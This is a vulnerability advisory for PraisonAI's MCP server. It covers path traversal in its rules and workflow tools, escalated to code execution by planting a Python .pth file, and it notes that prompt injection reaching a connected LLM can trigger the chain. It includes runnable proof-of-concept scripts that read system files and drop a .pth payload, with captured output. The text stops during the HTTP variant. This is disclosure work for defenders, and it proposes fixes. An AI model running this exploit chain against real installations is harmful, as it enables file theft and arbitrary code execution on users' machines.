PraisonAI MCP `tools/call` path-traversal => RCE via Python `.pth` injection

Summary

PraisonAI's MCP (Model Context Protocol) server (praisonai mcp serve) registers four file-handling tools by default — praisonai.rules.create, praisonai.rules.show, praisonai.rules.delete, and praisonai.workflow.show. Each accepts a path or filename string from MCP tools/call arguments and joins it onto ~/.praison/rules/ (or, for workflow.show, accepts an absolute path) with no containment check. The JSON-RPC dispatcher passes params["arguments"] blind to each handler via **kwargs without validating against the advertised input schema.

By setting rule_name="../../<some-path>" an attacker walks out of the rules directory and writes any file the running user can write. Dropping a Python .pth file into the user site-packages directory escalates this primitive to arbitrary code execution in any subsequent Python process the user spawns — the next praisonai CLI invocation, an IDE script run, the user's python REPL, or any background Python service. The same primitive is reachable from:

• An MCP-connected LLM (Claude Desktop, Cursor, Continue.dev, Claude Code) whose context is poisoned by attacker-controlled web content / documents / emails — no operator click required beyond ordinary "ask the LLM to summarise this page" usage.
• praisonai mcp serve --transport http-stream with no --api-key (default), reachable from any local process / DNS-rebound browser tab / container neighbour sharing loopback.
• Stdio MCP from any prompt-injection vector that reaches the connected LLM.

No operator misconfiguration is required. No env var, flag, or config switch disables the vulnerable handlers.

Details

1. The dispatcher accepts unvalidated kwargs

src/praisonai/praisonai/mcp_server/server.py:281-298:

async def _handle_tools_call(self, params: Dict[str, Any]) -> Dict[str, Any]:
    """Handle tools/call request."""
    tool_name = params.get("name")
    arguments = params.get("arguments", {})

    if not tool_name:
        raise ValueError("Tool name required")

    tool = self._tool_registry.get(tool_name)
    if tool is None:
        raise ValueError(f"Tool not found: {tool_name}")

    # Execute tool
    try:
        if asyncio.iscoroutinefunction(tool.handler):
            result = await tool.handler(**arguments)        # ← no schema enforcement
        else:
            result = tool.handler(**arguments)

tool.input_schema is built reflectively from the handler signature in registry.py:320-376 and surfaced in tools/list responses — but it is never enforced before dispatch. Whatever JSON shape the MCP client (or an LLM under prompt injection) sends becomes a **kwargs call.

2. The four registered handlers have no containment

src/praisonai/praisonai/mcp_server/adapters/cli_tools.py:

# line 116-128 — rules.create — primary write primitive
@register_tool("praisonai.rules.create")
def rules_create(rule_name: str, content: str) -> str:
    """Create a new rule."""
    try:
        import os
        rules_dir = os.path.expanduser("~/.praison/rules")
        os.makedirs(rules_dir, exist_ok=True)
        rule_path = os.path.join(rules_dir, rule_name)        # ← no realpath/containment
        with open(rule_path, 'w') as f:
            f.write(content)
        return f"Rule created: {rule_name}"
    except Exception as e:
        return f"Error: {e}"

# line 102-114 — rules.show — read primitive (f-string interpolation, same vuln class)
@register_tool("praisonai.rules.show")
def rules_show(rule_name: str) -> str:
    """Show a specific rule."""
    try:
        import os
        rule_path = os.path.expanduser(f"~/.praison/rules/{rule_name}")  # ← `..` works
        if not os.path.exists(rule_path):
            return f"Rule not found: {rule_name}"
        with open(rule_path, 'r') as f:
            content = f.read()
        return content
    except Exception as e:
        return f"Error: {e}"

# line 130-141 — rules.delete — delete primitive
@register_tool("praisonai.rules.delete")
def rules_delete(rule_name: str) -> str:
    """Delete a rule."""
    try:
        import os
        rule_path = os.path.expanduser(f"~/.praison/rules/{rule_name}")  # ← same pattern
        if not os.path.exists(rule_path):
            return f"Rule not found: {rule_name}"
        os.remove(rule_path)
        return f"Rule deleted: {rule_name}"
    except Exception as e:
        return f"Error: {e}"

# line 63-73 — workflow.show — absolute-path read primitive (no traversal needed)
@register_tool("praisonai.workflow.show")
def workflow_show(file_path: str) -> str:
    """Show workflow configuration."""
    try:
        with open(file_path, 'r') as f:                       # ← absolute path, no validation
            content = f.read()
        return content
    except FileNotFoundError:
        return f"File not found: {file_path}"
    except Exception as e:
        return f"Error: {e}"

os.path.join(rules_dir, "../../somewhere") and os.path.expanduser(f"~/.praison/rules/../../somewhere") both resolve .. segments at open() time, so the on-disk effect escapes the rules directory. workflow.show does not need traversal at all — it open()s an absolute path the LLM supplied.

3. Default registration ships these unconditionally

src/praisonai/praisonai/mcp_server/cli.py:216-219 (cmd_serve):

from .adapters import register_all
register_all()

src/praisonai/praisonai/mcp_server/adapters/__init__.py:33-39:

def _register_all():
    register_all_tools()
    register_extended_capability_tools()
    register_cli_tools()              # ← rules.create / rules.show / rules.delete / workflow.show
    register_mcp_resources()
    register_mcp_prompts()

There is no flag, env var, or config switch that disables the file primitives. praisonai mcp serve registers them on every startup.

4. HTTP-stream transport defaults to no authentication

src/praisonai/praisonai/mcp_server/cli.py:184:

parser.add_argument("--api-key", default=None)

The auth check at mcp_server/transports/http_stream.py:191-198 is wrapped in if self.api_key: — None skips the entire block. Default config: praisonai mcp serve --transport http-stream binds 127.0.0.1:8080/mcp unauthenticated.

5. Code-execution escalation via Python .pth

CPython's Lib/site.py (addsitedir / addpackage) imports lines starting with import from every .pth file present in site.getsitepackages() and site.getusersitepackages() at every interpreter startup. The user site-packages directory is always writable without elevation. A single .pth file containing import os; os.system("...") turns the path-traversal write primitive into RCE on the next Python interpreter the user starts — including the user's own python REPL, the next praisonai CLI command, IDE script launchers, and any background Python service.

Suggested fix

1. Containment in every cli_tools handler. Replace bare os.path.join / f-string interpolation with explicit prefix validation:

   import re
   from pathlib import Path
   
   if not re.fullmatch(r"[A-Za-z0-9._-]+", rule_name):
       return "Error: invalid rule name"
   rules_dir = Path(os.path.expanduser("~/.praison/rules")).resolve()
   rule_path = (rules_dir / rule_name).resolve()
   if not str(rule_path).startswith(str(rules_dir) + os.sep):
       return "Error: rule_name escapes rules directory"
   

   Apply identically to praisonai.rules.create, rules.show, rules.delete, workflow.validate. For workflow.show, restrict file_path to a designated workflow directory and reject absolute paths or any value containing ...

2. Schema enforcement in the dispatcher. Validate params["arguments"] against tool.input_schema (a JSON-Schema validator such as jsonschema) before tool.handler(**arguments). Reject unknown properties, type mismatches, missing required fields. Return JSON-RPC -32602 Invalid params.

3. Reduce the default tool surface. Move rules.* and workflow.show behind an explicit --enable-fs-tools opt-in. The register_all helper should only register read-only safe tools by default.

4. Require auth on non-loopback HTTP-stream binds. praisonai mcp serve --transport http-stream should refuse to start with host != 127.0.0.1 if --api-key is unset (mirror the gateway's assert_external_bind_safe from src/praisonai/praisonai/gateway/auth.py:23-54).

PoC

Tested against the PraisonAI repository at HEAD as of 2026-05-02. Verified on Python 3.14 / Windows 11 with both packages installed in editable mode. Each invocation of the RCE chain produced a fresh PID for the spawned Python process — confirmed across four successive runs (PIDs 8172, 23412, 10016, 17912) — proving the payload genuinely runs in a new interpreter, not residual state.

Reproduction prerequisites

• Python ≥ 3.10 (3.14 used during verification).
• A clean clone of the PraisonAI repository:

  git clone https://github.com/MervinPraison/PraisonAI.git
  cd PraisonAI
  

• Install both packages in editable mode:

  pip install -e src/praisonai-agents -e src/praisonai
  

• For PoC #3 (HTTP-stream variant): pip install uvicorn starlette (already pulled in by praisonai[api]).
• All other PoCs run against the package source alone — no network server required.

PoC 1 — In-process file primitives via MCP tools/call

Confirms arbitrary file READ, path-traversal WRITE, and path-traversal READ-BACK without spinning up a network server. Equivalent to electerm's parser dry-run; runs against the package source alone.

cat > /tmp/poc01_primitives.py <<'EOF'
"""PoC #1 — File primitives via MCP tools/call (in-process)"""
import asyncio, json, os
from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.adapters import register_all

register_all()
server = MCPServer()

async def call(method, params, msg_id=1):
    msg = {"jsonrpc": "2.0", "id": msg_id, "method": method, "params": params}
    return await server.handle_message(msg)

async def main():
    await call("initialize", {
        "protocolVersion": "2025-11-25",
        "clientInfo": {"name": "poc", "version": "0"},
        "capabilities": {},
    })

    # ── A1. Arbitrary file READ via workflow.show (absolute path, no traversal) ──
    candidates = ["/etc/passwd", "/etc/hostname",
                  "C:/Windows/System32/drivers/etc/hosts"]
    target = next((c for c in candidates if os.path.exists(c)), None)
    if target:
        r = await call("tools/call", {"name": "praisonai.workflow.show",
                                      "arguments": {"file_path": target}}, 2)
        print(f"[A1] READ {target} (first 200 chars):")
        print(r["result"]["content"][0]["text"][:200])

    # ── A2. Path-traversal WRITE via rules.create — escapes ~/.praison/rules/ ──
    import tempfile
    pwned = os.path.join(tempfile.gettempdir(), "PRAISONAI_PWNED.txt")
    rules_dir = os.path.expanduser("~/.praison/rules")
    rel = os.path.relpath(pwned, rules_dir)
    print(f"\n[A2] tools/call praisonai.rules.create rule_name={rel!r}")
    r = await call("tools/call", {"name": "praisonai.rules.create",
                                  "arguments": {"rule_name": rel,
                                                "content": "owned-by-poc"}}, 3)
    print(f"[A2] handler said: {r['result']['content'][0]['text']}")
    print(f"[A2] target path: {pwned}")
    print(f"[A2] exists: {os.path.exists(pwned)}, "
          f"contents: {open(pwned).read()!r}")

    # ── A3. Path-traversal READ via rules.show ──
    r = await call("tools/call", {"name": "praisonai.rules.show",
                                  "arguments": {"rule_name": rel}}, 4)
    print(f"\n[A3] READ-BACK via rules.show -> "
          f"{r['result']['content'][0]['text']!r}")

    # ── A4. Schema bypass: undeclared kwarg dispatched into handler ──
    print("\n[A4] sending undeclared kwarg to confirm dispatcher accepts it")
    r = await call("tools/call", {"name": "praisonai.workflow.show",
                                  "arguments": {"file_path": target,
                                                "undeclared_kwarg": "x"}}, 5)
    print(f"[A4] response (TypeError raised by handler, NOT by dispatcher): "
          f"{r['result']['content'][0]['text'][:120]}")

    # Cleanup
    if os.path.exists(pwned):
        os.unlink(pwned)

asyncio.run(main())
EOF
python /tmp/poc01_primitives.py

Expected output (verbatim from this run):

[A1] READ C:/Windows/System32/drivers/etc/hosts (first 200 chars):
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
...

[A2] tools/call praisonai.rules.create rule_name='..\\..\\AppData\\Local\\Temp\\PRAISONAI_PWNED.txt'
[A2] handler said: Rule created: ..\..\AppData\Local\Temp\PRAISONAI_PWNED.txt
[A2] target path: C:\Users\<user>\AppData\Local\Temp\PRAISONAI_PWNED.txt
[A2] exists: True, contents: 'owned-by-poc'

[A3] READ-BACK via rules.show -> 'owned-by-poc'

[A4] sending undeclared kwarg to confirm dispatcher accepts it
[A4] response (TypeError raised by handler, NOT by dispatcher): Error: register_cli_tools.<locals>.workflow_show() got an unexpected keyword argument 'undeclared_kwarg'

PoC 2 — RCE escalation via Python .pth

Drops a Python .pth payload into the user site-packages directory using the path-traversal write from PoC #1, then spawns an unrelated python -c "pass" to demonstrate that the payload runs in a fresh interpreter.

cat > /tmp/poc02_rce.py <<'EOF'
"""PoC #2 — RCE escalation via Python .pth injection.

Walks the path-traversal write into user site-packages, drops a .pth that
imports os and writes a marker on the next Python startup. Then spawns an
unrelated python -c "pass" subprocess to prove the marker is created in a
fresh interpreter, not in this one.
"""
import asyncio, os, site, subprocess, sys, tempfile, time
from pathlib import Path
from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.adapters import register_all

register_all()
server = MCPServer()

# Marker file the .pth payload will write to
MARKER = Path(tempfile.gettempdir()) / "praisonai_rce_marker.txt"
if MARKER.exists():
    MARKER.unlink()

# Compose the .pth payload. site.py runs lines starting with `import` at
# interpreter startup. We chain statements with `;` to keep it one line.
PAYLOAD = (
    "import sys, os, pathlib; "
    f"pathlib.Path(r'{MARKER}').write_text("
    "f'PRAISONAI_RCE_OK pid={os.getpid()} args={sys.argv}')"
    "\n"
)

# Target .pth in user site-packages (always writable without elevation)
TARGET = Path(site.getusersitepackages()) / "praisonai_chain_a_rce.pth"
TARGET.parent.mkdir(parents=True, exist_ok=True)

# Compute the traversal payload — relative path from ~/.praison/rules to TARGET
RULES = Path(os.path.expanduser("~/.praison/rules")).resolve()
REL = os.path.relpath(TARGET, RULES)

print(f"[*] target .pth file: {TARGET}")
print(f"[*] traversal rule_name: {REL!r}")
print(f"[*] payload (first 80 chars): {PAYLOAD[:80]}...")
print()

async def main():
    # 1. Initialize MCP session
    await server.handle_message({"jsonrpc": "2.0", "id": 1, "method": "initialize",
        "params": {"protocolVersion": "2025-11-25",
                   "clientInfo": {"name": "poc", "version": "0"},
                   "capabilities": {}}})

    # 2. Drop the .pth via the unauthenticated rules.create handler
    r = await server.handle_message({"jsonrpc": "2.0", "id": 2,
        "method": "tools/call",
        "params": {"name": "praisonai.rules.create",
                   "arguments": {"rule_name": REL, "content": PAYLOAD}}})
    print(f"[*] tools/call response: {r['result']['content'][0]['text']}")
    print(f"[*] .pth exists: {TARGET.exists()}")

asyncio.run(main())

if not TARGET.exists():
    print("FAIL: .pth was not written.", file=sys.stderr)
    sys.exit(1)

# 3. Trigger: spawn a fresh, unrelated `python -c "pass"` subprocess.
#    site.py imports lines from every .pth at interpreter startup BEFORE
#    user code runs.
print()
print(f'[*] launching fresh `python -c "pass"` to trigger .pth ...')
result = subprocess.run([sys.executable, "-c", "pass"],
                       capture_output=True, text=True)
print(f"[*] subprocess returncode: {result.returncode}")

# 4. Verify side effect — marker file exists with a NEW pid
deadline = time.time() + 3.0
while time.time() < deadline:
    if MARKER.exists() and MARKER.stat().st_size > 0:
        break
    time.sleep(0.05)

if MARKER.exists():
    contents = MARKER.read_text()
    print(f"[*] marker exists: True")
    print(f"[*] marker contents: {contents!r}")
    print()
    print("[+] RCE confirmed: arbitrary code executed in a fresh Python")
    print("    interpreter spawned AFTER the path-traversal write.")
else:
    print("[-] marker not present — escape may have partially failed")
    sys.exit(1)

# Clean up
TARGET.unlink(missing_ok=True)
MARKER.unlink(missing_ok=True)
EOF
python /tmp/poc02_rce.py

Expected output (verbatim from this run):

[*] target .pth file: C:\Users\<user>\AppData\Roaming\Python\Python314\site-packages\praisonai_chain_a_rce.pth
[*] traversal rule_name: '..\\..\\AppData\\Roaming\\Python\\Python314\\site-packages\\praisonai_chain_a_rce.pth'
[*] payload (first 80 chars): import sys, os, pathlib; pathlib.Path(r'C:\Users\<user>\AppData\Local\Temp\pra...

[*] tools/call response: Rule created: ..\..\AppData\Roaming\Python\Python314\site-packages\praisonai_chain_a_rce.pth
[*] .pth exists: True

[*] launching fresh `python -c "pass"` to trigger .pth ...
[*] subprocess returncode: 0
[*] marker exists: True
[*] marker contents: "PRAISONAI_RCE_OK pid=17912 args=['-c']"

[+] RCE confirmed: arbitrary code executed in a fresh Python interpreter
    spawned AFTER the path-traversal write.

The PID in the marker (17912) is the spawned python -c "pass" subprocess — not the writing process. Each successive run produces a different PID, proving fresh-interpreter semantics.

PoC 3 — End-to-end HTTP-stream variant (default no-auth)

Confirms a remote/local attacker who can dial loopback (DNS-rebound browser, container neighbour, malicious local app) reaches the unauth dispatcher and lands the same RCE. The server is started by directly invoking HTTPStreamTransport — the same code path that praisonai mcp serve --transport http-stream ultimately calls — to keep the PoC stable across CLI-routing changes.

# 1) Server side (default config: host=127.0.0.1, port=8080, api_key=None).
#    The auth check at http_stream.py:191-198 is wrapped in `if self.api_key:`
#    so api_key=None disables it entirely.
cat > /tmp/poc03_server.py <<'EOF'
"""HTTP-stream MCP server, default no-auth."""
import sys, io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8')

from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.adapters import register_all
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport

register_all()
server = MCPServer(name='praisonai')
transport = HTTPStreamTransport(
    server=server, host='127.0.0.1', port=8080,
    endpoint='/mcp', api_key=None,
)
print('MCP server: 127.0.0.1:8080/mcp (no auth)', flush=True)
transport.run()
EOF
python /tmp/poc03_server.py &
SERVER_PID=$!
sleep 5

# Sanity probe — anonymous initialize over HTTP
curl -s -X POST http://127.0.0.1:8080/mcp -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"protocolVersion":"2025-11-25","clientInfo":{"name":"probe","version":"0"},"capabilities":{}}}'
echo

# 2) Attacker side — anyone on loopback (different terminal, malicious local…